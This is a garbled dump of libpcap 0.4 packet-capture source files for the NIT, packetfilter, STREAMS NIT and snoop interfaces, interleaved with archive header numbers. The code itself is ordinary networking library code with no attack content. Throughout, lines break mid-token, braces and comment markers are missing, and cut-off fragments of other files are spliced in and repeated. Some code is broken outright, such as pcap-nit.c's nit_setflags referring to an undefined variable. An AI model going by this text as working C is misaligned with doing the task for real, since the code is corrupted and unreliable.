***
Linux.vmdk.REDO ***
libpcap-0.4/pcap-nit.c
444
1774
34
13021 6253457565 7763
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that:
(1) source code distributions
*
retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-nit.c,v 1.31
96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<sys/timeb.h>
#include <sys/file.h>
#include
<sys/ioctl.h>
#include <sys/socket.h>
#include
<net/if.h>
#include <net/nit.h>
#include
<netinet/in.h>
#include <netinet/in_systm.h>
#include
<netinet/ip.h>
#include <netinet/if_ether.h>
#include
<netinet/ip_var.h>
#include <netinet/udp.h>
#include
<netinet/udp_var.h>
#include <netinet/tcp.h>
#include
<netinet/tcpip.h>
#include <ctype.h>
#include
<errno.h>
#include <stdio.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
* The chunk size for NIT. This is the amount of buffering
* done for read calls.
#define CHUNKSIZE
(2*1024)
* The total buffer space
used by NIT.
#define BUFSPACE (4*CHUNKSIZE)
/* Forwards */
static
int nit_setflags(int, int, int, char *);
pcap_stats(pcap_t *p, struct
pcap_stat *ps)
*ps =
p->md.stat;
return
(0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char
*user)
register int cc,
n;
register struct bpf_insn
*fcode = p->fcode.bf_insns;
register
u_char *bp, *cp, *ep;
register
struct nit_hdr *nh;
register
int caplen;
cc =
p->cc;
if (cc == 0) {
cc
= read(p->fd, (char *)p->buffer, p->bufsize);
if
(cc < 0) {
if (errno == EWOULDBLOCK)
return (0);
sprintf(p->errbuf,
"pcap_read: %s",
pcap_strerror(errno));
return
(-1);
bp = p->buffer;
}
else
bp = p->bp;
* Loop through each packet. The increment expression
*
rounds up to the next int boundary past the end of
* the previous
packet.
*/
n
= 0;
ep = bp + cc;
while (bp < ep) {
nh
= (struct nit_hdr *)bp;
cp = bp + sizeof(*nh);
switch
(nh->nh_state) {
case NIT_CATCH:
break;
case
NIT_NOMBUF:
case NIT_NOCLUSTER:
case
NIT_NOSPACE:
p->md.stat.ps_drop =
nh->nh_dropped;
continue;
case
NIT_SEQNO:
continue;
default:
sprintf(p->errbuf,
"bad nit state %d", nh->nh_state);
return
(-1);
++p->md.stat.ps_recv;
bp += ((sizeof(struct nit_hdr) +
nh->nh_datalen +
sizeof(int) - 1) & ~(sizeof(int) -
1));
caplen = nh->nh_wirelen;
if (caplen >
p->snapshot)
caplen = p->snapshot;
if
(bpf_filter(fcode, cp, nh->nh_wirelen, caplen)) {
struct
pcap_pkthdr h;
h.ts = nh->nh_timestamp;
h.len
= nh->nh_wirelen;
h.caplen = caplen;
(*callback)(user,
&h, cp);
if (++n >= cnt && cnt >= 0)
{
p->cc = ep -
bp;
p->bp
= bp;
return
(n);
}
p->cc
= 0;
return (n);
static
int
nit_setflags(int fd, int promisc, int to_ms, char *ebuf)
struct nit_ioc nioc;
bzero((char *)&nioc,
sizeof(nioc));
nioc.nioc_bufspace
= BUFSPACE;
nioc.nioc_chunksize
= CHUNKSIZE;
nioc.nioc_typetomatch
= NT_ALLTYPES;
nioc.nioc_snaplen
= p->snapshot;
nioc.nioc_bufalign
= sizeof(int);
nioc.nioc_bufoffset
= 0;
if (to_ms != 0) {
nioc.nioc_flags
|= NF_TIMEOUT;
nioc.nioc_timeout.tv_sec = to_ms /
1000;
nioc.nioc_timeout.tv_usec = (to_ms * 1000) % 1000000;
if (promisc)
nioc.nioc_flags |=
NF_PROMISC;
if (ioctl(fd, SIOCSNIT,
&nioc) < 0) {
sprintf(ebuf, "SIOCSNIT: %s",
pcap_strerror(errno));
return (-1);
return (0);
pcap_t *
pcap_open_live(char *device, int
snaplen, int promisc, int to_ms, char *ebuf)
int fd;
struct
sockaddr_nit snit;
register
pcap_t *p;
p = (pcap_t
*)malloc(sizeof(*p));
if (p ==
NULL) {
strcpy(ebuf, pcap_strerror(errno));
return
(NULL);
if (snaplen <
96)
/*
* NIT requires a snapshot length of at least
96.
*/
snaplen = 96;
bzero(p, sizeof(*p));
p->fd
= fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW);
if (fd < 0) {
sprintf(ebuf, "socket: %s",
pcap_strerror(errno));
goto bad;
snit.snit_family = AF_NIT;
(void)strncpy(snit.snit_ifname, device, NITIFSIZ);
if (bind(fd, (struct sockaddr *)&snit,
sizeof(snit))) {
sprintf(ebuf, "bind: %s: %s",
snit.snit_ifname,
pcap_strerror(errno));
goto
bad;
p->snapshot =
snaplen;
nit_setflags(p->fd,
promisc, to_ms, ebuf);
* NIT supports only ethernets.
*/
p->linktype
= DLT_EN10MB;
p->bufsize =
BUFSPACE;
p->buffer =
(u_char *)malloc(p->bufsize);
if
(p->buffer == NULL) {
strcpy(ebuf, pcap_strerror(errno));
goto
bad;
return (p);
bad:
if
(fd >= 0)
close(fd);
free(p);
return
(NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
p->fcode = *fp;
return (0);
#include <netinet/ip.h>
#include
<netinet/if_ether.h>
#include <netinet/ip_var.h>
#include
<netinet/udp.h>
#include <netinet/udp_var.h>
#include
<netinet/tcp.h>
#include <netinet/tcpip.h>
#include
<ctype.h>
#include <errno.h>
#include
<stdio.h>
#include "pcap-int.h"
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
* The chunk size for NIT.
This is the amount of buffering
* done for read calls.
#define CHUNKSIZE (2*1024)
* The total buffer space
usedlibpcap-0.4/pcap-nit.h
444
3060
34
1656 5577470036
7745
* Copyright (c) 1990,
1994
* The Regents of the University of California. All rights reserved.
* Redistribution and use in source and binary
forms are permitted
* provided
that the above copyright notice and this paragraph are
* duplicated in all such forms and that any
documentation,
* advertising
materials, and other materials related to such
* distribution and use acknowledge that the software was
developed
* by the University of
California, Lawrence Berkeley Laboratory,
* Berkeley, CA. The name
of the University may not be used to
* endorse or promote products derived from this software
without
* specific prior written
permission.
* THIS SOFTWARE IS
PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE
IMPLIED
* WARRANTIES OF
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
* @(#) $Header: pcap-nit.h,v 1.2 94/06/14
20:06:03 leres Exp $ (LBL)
, NITIFSIZ);
if (bind(fd, (struct sockaddr *)&snit, sizeof(snit)))
{
sprintf(elibpcap-0.4/pcap-null.c
444
1774
34
4130
6253457565 10124
* Copyright (c) 1994, 1995, 1996
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that:
(1) source code distributions
*
retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-null.c,v 1.7
96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include
<sys/param.h> /* optionally get BSD define */
#include
<string.h>
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include
"pcap-int.h"
static char nosup[] = "live packet capture not
supported on this system";
pcap_stats(pcap_t *p, struct pcap_stat
*ps)
(void)sprintf(p->errbuf,
"pcap_stats: %s", nosup);
return
(-1);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
(void)sprintf(p->errbuf,
"pcap_read: %s", nosup);
return
(-1);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc,
int to_ms, char *ebuf)
(void)strcpy(ebuf,
nosup);
return (NULL);
pcap_setfilter(pcap_t
*p, struct bpf_program *fp)
if
(p->sf.rfile == NULL) {
(void)sprintf(p->errbuf,
"pcap_setfilter: %s", nosup);
return (-1);
p->fcode = *fp;
return
(0);
int, int, char *);
pcap_stats(pcap_t
*p, struct pcap_stat *ps)
*ps =
p->md.stat;
return
(0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char
*user)
register int cc,
n;
register struct bpf_insn
*fcode = p->fcode.bf_insns;
register
u_char *bp, *cp, *ep;
register
struct nit_hdr *nh;
register
int caplen;
cc =
p->cc;
if (cc == 0) {
cc
= read(p->fd, (char *)p->buffer, p->bufsize);
iflibpcap-0.4/pcap-pf.c
444
1774
34
21416
6253457565 7605
* Copyright (c) 1990, 1991, 1992, 1993, 1994,
1995, 1996
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* packet
filter subroutines for tcpdump
* Extraction/creation by Jeffrey Mogul,
DECWRL
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-pf.c,v 1.54
96/12/10 23:15:01 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<sys/timeb.h>
#include <sys/socket.h>
#include
<sys/file.h>
#include <sys/ioctl.h>
#include
<net/pfilt.h>
#if __STDC__
struct mbuf;
struct
rtentry;
#endif
#include <net/if.h>
#include
<netinet/in.h>
#include <netinet/in_systm.h>
#include
<netinet/ip.h>
#include <netinet/if_ether.h>
#include
<netinet/ip_var.h>
#include <netinet/udp.h>
#include
<netinet/udp_var.h>
#include <netinet/tcp.h>
#include
<netinet/tcpip.h>
#include <ctype.h>
#include
<errno.h>
#include <netdb.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<string.h>
#include <unistd.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
* BUFSPACE is the size in bytes of the packet
read buffer. Most tcpdump
* applications aren't going to need more than
200 bytes of packet header
* and
the read shouldn't return more packets than packetfilter's internal
* queue limit (bounded at 256).
#define
BUFSPACE (200 * 256)
pcap_read(pcap_t *pc, int cnt, pcap_handler callback,
u_char *user)
register u_char
*p, *bp;
struct bpf_insn
*fcode;
register int cc, n,
buflen, inc;
register struct
enstamp *sp;
#ifdef LBL_ALIGN
struct
enstamp stamp;
#endif
#ifdef PCAP_FDDIPAD
register int pad;
#endif
fcode = pc->md.use_bpf ? NULL :
pc->fcode.bf_insns;
again:
cc = pc->cc;
if (cc == 0) {
cc
= read(pc->fd, (char *)pc->buffer + pc->offset, pc->bufsize);
if
(cc < 0) {
if (errno == EWOULDBLOCK)
return (0);
if (errno ==
EINVAL &&
lseek(pc->fd, 0L, SEEK_CUR) + pc->bufsize < 0) {
/*
* Due to a kernel bug, after 2^31 bytes,
* the kernel file offset overflows and
* read fails with EINVAL. The lseek()
* to 0 will fix things.
*/
(void)lseek(pc->fd,
0L, SEEK_SET);
goto
again;
}
sprintf(pc->errbuf, "pf read: %s",
pcap_strerror(errno));
return
(-1);
bp = pc->buffer + pc->offset;
} else
bp =
pc->bp;
* Loop through each packet.
*/
n = 0;
#ifdef
PCAP_FDDIPAD
if
(pc->linktype == DLT_FDDI)
pad = pcap_fddipad;
else
pad = 0;
#endif
while (cc > 0) {
if
(cc < sizeof(*sp)) {
sprintf(pc->errbuf, "pf short read
(%d)", cc);
return (-1);
#ifdef LBL_ALIGN
if
((long)bp & 3) {
sp = &stamp;
memcpy((char
*)sp, (char *)bp, sizeof(*sp));
} else
#endif
sp
= (struct enstamp *)bp;
if (sp->ens_stamplen != sizeof(*sp))
{
sprintf(pc->errbuf, "pf short stamplen
(%d)",
sp->ens_stamplen);
return (-1);
p = bp +
sp->ens_stamplen;
buflen = sp->ens_count;
if
(buflen > pc->snapshot)
buflen = pc->snapshot;
/*
Calculate inc before possible pad update */
inc = ENALIGN(buflen
+ sp->ens_stamplen);
cc -= inc;
bp += inc;
#ifdef
PCAP_FDDIPAD
p += pad;
buflen -= pad;
#endif
pc->md.TotPkts++;
pc->md.TotDrops
+= sp->ens_dropped;
pc->md.TotMissed =
sp->ens_ifoverflows;
if (pc->md.OrigMissed < 0)
pc->md.OrigMissed
= pc->md.TotMissed;
/*
* Short-circuit evaluation: if using BPF
filter
* in kernel, no need to do it now.
*/
if (fcode == NULL ||
bpf_filter(fcode, p, sp->ens_count, buflen)) {
struct
pcap_pkthdr h;
pc->md.TotAccepted++;
h.ts
= sp->ens_tstamp;
#ifdef PCAP_FDDIPAD
h.len =
sp->ens_count - pad;
#else
h.len = sp->ens_count;
#endif
h.caplen
= buflen;
(*callback)(user, &h, p);
if
(++n >= cnt && cnt > 0) {
pc->cc
= cc;
pc->bp
= bp;
return
(n);
}
pc->cc
= 0;
return (n);
pcap_stats(pcap_t
*p, struct pcap_stat *ps)
ps->ps_recv
= p->md.TotAccepted;
ps->ps_drop
= p->md.TotDrops;
ps->ps_ifdrop
= p->md.TotMissed - p->md.OrigMissed;
return (0);
pcap_t *
pcap_open_live(char *device, int
snaplen, int promisc, int to_ms, char *ebuf)
pcap_t *p;
short
enmode;
int backlog = -1; /* request the most */
struct enfilter Filter;
struct endevp devparams;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
sprintf(ebuf,
"pcap_open_live: %s", pcap_strerror(errno));
return
(0);
bzero((char *)p,
sizeof(*p));
p->fd =
pfopen(device, O_RDONLY);
if
(p->fd < 0) {
sprintf(ebuf, "pf open: %s:
%s\n\
your system may not be properly configured; see \"man
packetfilter(4)\"\n",
device, pcap_strerror(errno));
goto
bad;
p->md.OrigMissed =
-1;
enmode =
ENTSTAMP|ENBATCH|ENNONEXCL;
if
(promisc)
enmode |= ENPROMISC;
if (ioctl(p->fd, EIOCMBIS,
(caddr_t)&enmode) < 0) {
sprintf(ebuf, "EIOCMBIS: %s",
pcap_strerror(errno));
goto bad;
#ifdef ENCOPYALL
/* Try to set COPYALL mode so that we see packets to ourself
*/
enmode = ENCOPYALL;
(void)ioctl(p->fd, EIOCMBIS,
(caddr_t)&enmode);/* OK if this fails */
#endif
/* set the backlog */
if (ioctl(p->fd, EIOCSETW,
(caddr_t)&backlog) < 0) {
sprintf(ebuf, "EIOCSETW: %s",
pcap_strerror(errno));
goto bad;
/* discover interface type */
if (ioctl(p->fd, EIOCDEVP, (caddr_t)&devparams) < 0)
{
sprintf(ebuf, "EIOCDEVP: %s",
pcap_strerror(errno));
goto bad;
/* HACK: to compile prior to Ultrix 4.2 */
#ifndef ENDT_FDDI
#define ENDT_FDDI 4
#endif
switch (devparams.end_dev_type) {
case ENDT_10MB:
p->linktype
= DLT_EN10MB;
p->offset = 2;
break;
case ENDT_FDDI:
p->linktype
= DLT_FDDI;
break;
default:
/*
* XXX
* Currently, the Ultrix packet filter
supports only
* Ethernet and FDDI. Eventually, support for SLIP and PPP
* (and possibly others: T1?) should be added.
*/
#ifdef notdef
warning(
"Packet
filter data-link type %d unknown, assuming Ethernet",
devparams.end_dev_type);
#endif
p->linktype
= DLT_EN10MB;
p->offset = 2;
break;
/* set truncation */
#ifdef
PCAP_FDDIPAD
if (p->linktype
== DLT_FDDI)
/* packetfilter includes the padding in
the snapshot */
snaplen += pcap_fddipad;
#endif
if (ioctl(p->fd, EIOCTRUNCATE,
(caddr_t)&snaplen) < 0) {
sprintf(ebuf, "EIOCTRUNCATE:
%s", pcap_strerror(errno));
goto bad;
p->snapshot = snaplen;
/*
accept all packets */
bzero((char
*)&Filter, sizeof(Filter));
Filter.enf_Priority
= 37; /* anything > 2 */
Filter.enf_FilterLen = 0; /* means "always true" */
if (ioctl(p->fd, EIOCSETF,
(caddr_t)&Filter) < 0) {
sprintf(ebuf, "EIOCSETF: %s",
pcap_strerror(errno));
goto bad;
if (to_ms != 0) {
struct timeval timeout;
timeout.tv_sec
= to_ms / 1000;
timeout.tv_usec = (to_ms * 1000) %
1000000;
if (ioctl(p->fd, EIOCSRTIMEOUT,
(caddr_t)&timeout) < 0) {
sprintf(ebuf, "EIOCSRTIMEOUT:
%s",
pcap_strerror(errno));
goto
bad;
p->bufsize =
BUFSPACE;
p->buffer =
(u_char*)malloc(p->bufsize + p->offset);
return (p);
bad:
free(p);
return (NULL);
pcap_setfilter(pcap_t
*p, struct bpf_program *fp)
* See if BIOCSETF works. If it does, the kernel supports
*
BPF-style filters, and we do not need to do post-filtering.
*/
p->md.use_bpf
= (ioctl(p->fd, BIOCSETF, (caddr_t)fp) >= 0);
if (p->md.use_bpf) {
struct
bpf_version bv;
if (ioctl(p->fd, BIOCVERSION,
(caddr_t)&bv) < 0) {
sprintf(p->errbuf, "BIOCVERSION:
%s",
pcap_strerror(errno));
return
(-1);
else if (bv.bv_major != BPF_MAJOR_VERSION ||
bv.bv_minor < BPF_MINOR_VERSION) {
fprintf(stderr,
"requires
bpf language %d.%d or higher; kernel is %d.%d",
BPF_MAJOR_VERSION,
BPF_MINOR_VERSION,
bv.bv_major, bv.bv_minor);
/* don't give up, just be inefficient
*/
p->md.use_bpf = 0;
} else
p->fcode =
*fp;
/*XXX this goes in
tcpdump*/
if
(p->md.use_bpf)
fprintf(stderr, "tcpdump: Using
kernel BPF filter\n");
else
fprintf(stderr,
"tcpdump: Filtering in user process\n");
return (0);
turn (n);
pcap_stats(pcap_t *p, struct
pcap_stat *ps)
ps->ps_recv =
p->md.TotAccepted;
ps->ps_drop
= p->md.TotDrops;
ps->ps_ifdrop
= p->md.TotMissed - p->md.OrigMissed;
return (0);
pcap_t *
pcap_open_live(char *device, int
snlibpcap-0.4/pcap-pf.h
444
3060
34
1655 5577470075 7562
* Copyright (c) 1990, 1994
* The Regents of the
University of California. All rights
reserved.
* Redistribution and use
in source and binary forms are permitted
* provided that the above copyright notice and this paragraph
are
* duplicated in all such forms
and that any documentation,
*
advertising materials, and other materials related to such
* distribution and use acknowledge that the
software was developed
* by the
University of California, Lawrence Berkeley Laboratory,
* Berkeley, CA. The name of the University may not be used to
* endorse or promote products derived from
this software without
* specific
prior written permission.
* THIS
SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT
LIMITATION, THE IMPLIED
*
WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
* @(#) $Header: pcap-pf.h,v 1.2 94/06/14
20:06:33 leres Exp $ (LBL)
/*
set the backlog */
if
(ioctl(p->fd, EIOCSETW, (caddr_t)&backlog) < 0) {
libpcap-0.4/pcap-snit.c
444
1774
34
16115
6253457566 10156
* Copyright (c) 1990, 1991, 1992, 1993, 1994,
1995, 1996
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the
documentation or other materials
*
provided with the distribution, and (3) all advertising materials
mentioning
* features or use of
this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* Modifications
made to accommodate the new SunOS4.0 NIT facility by
* Micky Liu, micky@cunixc.cc.columbia.edu,
Columbia University in May, 1989.
* This module now handles the STREAMS based NIT.
#ifndef
lint
static const char rcsid[] =
"@(#) $Header: pcap-snit.c,v 1.45 96/12/10 23:15:01 leres Exp $
(LBL)";
#endif
#include <sys/types.h>
#include
<sys/time.h>
#include <sys/timeb.h>
#include
<sys/dir.h>
#include <sys/fcntlcom.h>
#include
<sys/file.h>
#include <sys/ioctl.h>
#include
<sys/socket.h>
#include <sys/stropts.h>
#include
<net/if.h>
#include <net/nit.h>
#include
<net/nit_if.h>
#include <net/nit_pf.h>
#include
<net/nit_buf.h>
#include <netinet/in.h>
#include
<netinet/in_systm.h>
#include <netinet/ip.h>
#include
<netinet/if_ether.h>
#include <netinet/ip_var.h>
#include
<netinet/udp.h>
#include <netinet/udp_var.h>
#include
<netinet/tcp.h>
#include <netinet/tcpip.h>
#include
<ctype.h>
#include <errno.h>
#ifdef HAVE_MALLOC_H
#include
<malloc.h>
#endif
#include <stdio.h>
#include
<string.h>
#include <unistd.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
* The chunk size for NIT. This is the amount of buffering
* done for read calls.
#define CHUNKSIZE
(2*1024)
* The total buffer space
used by NIT.
#define BUFSPACE (4*CHUNKSIZE)
/* Forwards */
static
int nit_setflags(int, int, int, char *);
pcap_stats(pcap_t *p, struct
pcap_stat *ps)
*ps =
p->md.stat;
return
(0);
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char
*user)
register int cc,
n;
register struct bpf_insn
*fcode = p->fcode.bf_insns;
register
u_char *bp, *cp, *ep;
register
struct nit_bufhdr *hdrp;
register
struct nit_iftime *ntp;
register
struct nit_iflen *nlp;
register
struct nit_ifdrops *ndp;
register
int caplen;
cc =
p->cc;
if (cc == 0) {
cc
= read(p->fd, (char *)p->buffer, p->bufsize);
if
(cc < 0) {
if (errno == EWOULDBLOCK)
return (0);
sprintf(p->errbuf,
"pcap_read: %s",
pcap_strerror(errno));
return
(-1);
bp = p->buffer;
}
else
bp = p->bp;
* loop through each snapshot in the
chunk
*/
n
= 0;
ep = bp + cc;
while (bp < ep) {
++p->md.stat.ps_recv;
cp
= bp;
/* get past NIT buffer
*/
hdrp = (struct nit_bufhdr *)cp;
cp
+= sizeof(*hdrp);
/* get past NIT timer */
ntp = (struct nit_iftime *)cp;
cp
+= sizeof(*ntp);
ndp = (struct nit_ifdrops *)cp;
p->md.stat.ps_drop
= ndp->nh_drops;
cp += sizeof *ndp;
/*
get past packet len */
nlp
= (struct nit_iflen *)cp;
cp += sizeof(*nlp);
/*
next snapshot */
bp
+= hdrp->nhb_totlen;
caplen = nlp->nh_pktlen;
if
(caplen > p->snapshot)
caplen = p->snapshot;
if
(bpf_filter(fcode, cp, nlp->nh_pktlen, caplen)) {
struct
pcap_pkthdr h;
h.ts = ntp->nh_timestamp;
h.len
= nlp->nh_pktlen;
h.caplen = caplen;
(*callback)(user,
&h, cp);
if (++n >= cnt && cnt >= 0)
{
p->cc = ep -
bp;
p->bp
= bp;
return
(n);
}
p->cc
= 0;
return (n);
static
int
nit_setflags(int fd, int promisc, int to_ms, char *ebuf)
bpf_u_int32 flags;
struct strioctl si;
struct timeval timeout;
si.ic_timout = INFTIM;
if (to_ms != 0) {
timeout.tv_sec
= to_ms / 1000;
timeout.tv_usec = (to_ms * 1000) %
1000000;
si.ic_cmd = NIOCSTIME;
si.ic_len
= sizeof(timeout);
si.ic_dp = (char *)&timeout;
if
(ioctl(fd, I_STR, (char *)&si) < 0) {
sprintf(ebuf,
"NIOCSTIME: %s", pcap_strerror(errno));
return
(-1);
flags = NI_TIMESTAMP |
NI_LEN | NI_DROPS;
if
(promisc)
flags |= NI_PROMISC;
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(flags);
si.ic_dp = (char *)&flags;
if (ioctl(fd, I_STR, (char *)&si) <
0) {
sprintf(ebuf, "NIOCSFLAGS: %s",
pcap_strerror(errno));
return (-1);
return (0);
pcap_t *
pcap_open_live(char *device, int
snaplen, int promisc, int to_ms, char *ebuf)
struct strioctl si; /* struct for ioctl() */
struct ifreq ifr; /* interface request
struct */
int chunksize =
CHUNKSIZE;
int fd;
static char dev[] =
"/dev/nit";
register
pcap_t *p;
p = (pcap_t
*)malloc(sizeof(*p));
if (p ==
NULL) {
strcpy(ebuf, pcap_strerror(errno));
return
(NULL);
if (snaplen <
96)
/*
* NIT requires a snapshot length of at least
96.
*/
snaplen = 96;
bzero(p, sizeof(*p));
p->fd
= fd = open(dev, O_RDONLY);
if
(fd < 0) {
sprintf(ebuf, "%s: %s", dev,
pcap_strerror(errno));
goto bad;
/* arrange to get discrete messages from the STREAM and use
NIT_BUF */
if (ioctl(fd,
I_SRDOPT, (char *)RMSGD) < 0) {
sprintf(ebuf, "I_SRDOPT: %s",
pcap_strerror(errno));
goto bad;
if (ioctl(fd, I_PUSH, "nbuf") < 0) {
sprintf(ebuf,
"push nbuf: %s", pcap_strerror(errno));
goto bad;
/* set the chunksize */
si.ic_cmd = NIOCSCHUNK;
si.ic_timout = INFTIM;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if (ioctl(fd, I_STR, (char *)&si) <
0) {
sprintf(ebuf, "NIOCSCHUNK: %s",
pcap_strerror(errno));
goto bad;
/* request the interface */
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '
';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if (ioctl(fd, I_STR, (char *)&si) <
0) {
sprintf(ebuf, "NIOCBIND: %s: %s",
ifr.ifr_name,
pcap_strerror(errno));
goto bad;
/* set the snapshot length */
si.ic_cmd = NIOCSSNAP;
si.ic_len
= sizeof(snaplen);
si.ic_dp =
(char *)&snaplen;
if
(ioctl(fd, I_STR, (char *)&si) < 0) {
sprintf(ebuf,
"NIOCSSNAP: %s", pcap_strerror(errno));
goto bad;
p->snapshot = snaplen;
if (nit_setflags(p->fd, promisc, to_ms,
ebuf) < 0)
goto bad;
(void)ioctl(fd, I_FLUSH, (char *)FLUSHR);
*
NIT supports only ethernets.
*/
p->linktype
= DLT_EN10MB;
p->bufsize =
BUFSPACE;
p->buffer =
(u_char *)malloc(p->bufsize);
if
(p->buffer == NULL) {
strcpy(ebuf, pcap_strerror(errno));
goto
bad;
return (p);
bad:
if
(fd >= 0)
close(fd);
free(p);
return
(NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
p->fcode = *fp;
return (0);
eturn (0);
sprintf(p->errbuf,
"pcap_read: %s",
pcap_strerror(errno));
return
(-1);
bp = p->buffer;
}
else
bp = p->bp;
* loop through each snapshot in the
chunk
*/
n
= 0;
ep = bp + cc;
while (bp < ep) {
++p->md.stat.ps_recv;
cp
= bp;
/* get past NIT buffer
*/
hdrp = (struct nit_bufhdr *)cp;
cp
+= sizeof(*hdrp);
/* get past NIT timer */
ntp = (struct nit_iftime *)cp;
cp
+= sizeof(*nlibpcap-0.4/pcap-snoop.c
444
1774
34
13553 6322612745 10327
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that:
(1) source code distributions
*
retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT
ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap-snoop.c,v 1.20
97/04/08 21:06:17 leres Exp $ (LBL)";
#endif
#include
<sys/param.h>
#include <sys/file.h>
#include
<sys/ioctl.h>
#include <sys/socket.h>
#include
<sys/time.h>
#include <net/raw.h>
#include
<net/if.h>
#include <netinet/in.h>
#include
<netinet/in_systm.h>
#include <netinet/ip.h>
#include
